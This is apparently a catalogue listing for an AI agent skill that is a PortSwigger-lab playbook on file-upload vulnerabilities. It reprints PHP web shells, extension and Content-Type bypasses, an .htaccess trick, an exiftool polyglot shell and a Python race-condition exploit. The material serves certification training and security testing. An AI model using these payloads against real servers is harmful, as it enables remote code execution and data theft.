Getting it into your agent
This one installs as part of its plugin. Adding the marketplace and installing the plugin brings it with everything else the plugin ships.
/plugin marketplace add akashrpatil/awesome-offensive-security-skills/plugin install cyberskills-eliteWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/file-upload)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/file-upload"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/file-upload/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/file-upload"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/file-upload.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00027 | $0.01195 |
| Opus 5 | $0.00014 | $0.00598 |
| Sonnet 5 | $0.00005 | $0.00239 |
| Haiku 4.5 | $0.00003 | $0.00120 |
Grade A, and why
File Upload Vulnerabilities — Deep Dive scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
tools: [burp-suite, curl, sqlmap, ffuf, python, hashcat, ysoserial] This is a copy
78% identical to Access Control — Complete Deep Dive — 88 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 139 lines — stays where its author put it; the contents beside it link to each section on GitHub.
File Upload Vulnerabilities — Deep Dive
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert
When to Use
- BSCP certification prep
- Real-world bug bounty hunting
- Building exploitation chains
- Understanding bypass techniques
Prerequisites
- Burp Suite Professional
- Burp Collaborator / interactsh
- Browser with proxy configured
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: RCE via web shell 🟢 APPRENTICE
<?php echo file_get_contents('/home/carlos/secret'); ?>
Upload as shell.php, access at /files/avatars/shell.php.
Lab 2: Content-Type bypass 🟢 APPRENTICE
Change Content-Type: application/x-php to Content-Type: image/jpeg in upload request.
Lab 3: Path traversal 🟡 PRACTITIONER
Content-Disposition: form-data; name="avatar"; filename="..%2fshell.php"
Upload to parent directory where PHP execution is enabled.
Lab 4: Extension blacklist bypass 🟡 PRACTITIONER
Try: .php5, .shtml, .phtml, .phar. Or upload .htaccess first:
AddType application/x-httpd-php .l33t
Then upload shell.l33t.
Lab 5: Obfuscated extension 🟡 PRACTITIONER
shell.php%00.jpg (null byte), shell.php. (trailing dot), shell.p." . "hp (broken validators).
Lab 6: Polyglot web shell 🟡 PRACTITIONER
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" photo.jpg -o polyglot.php
Valid JPEG + executable PHP.
Lab 7: Race condition upload 🔴 EXPERT
Upload PHP file → server validates → deletes if invalid. Race: access file BEFORE deletion:
import threading, requests
def upload(): requests.post(URL, files={'avatar': ('shell.php', '<?php echo file_get_contents("/home/carlos/secret"); ?>')})
def read(): r = requests.get(FILE_URL); print(r.text)
for _ in range(100): threading.Thread(target=upload).start(); threading.Thread(target=read).start()
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 11d ago First seen · 139 lines · 27 tokens per session scan A 2075b1b7e6e7
File Upload Vulnerabilities — Deep Dive is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 27 tokens to every session and 1,195 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 78% identical to Access Control — Complete Deep Dive, differing in 88 lines, and is treated as a copy.
Other skills, from other repositories
DOM-based Vulnerabilities — Complete Deep Dive
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques.
Essential Skills — Deep Dive
PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques.
Information Disclosure — Deep Dive
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques.
Access Control — Complete Deep Dive
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques.
Authentication — Complete Deep Dive
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques.
JWT Authentication — Complete Deep Dive
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques.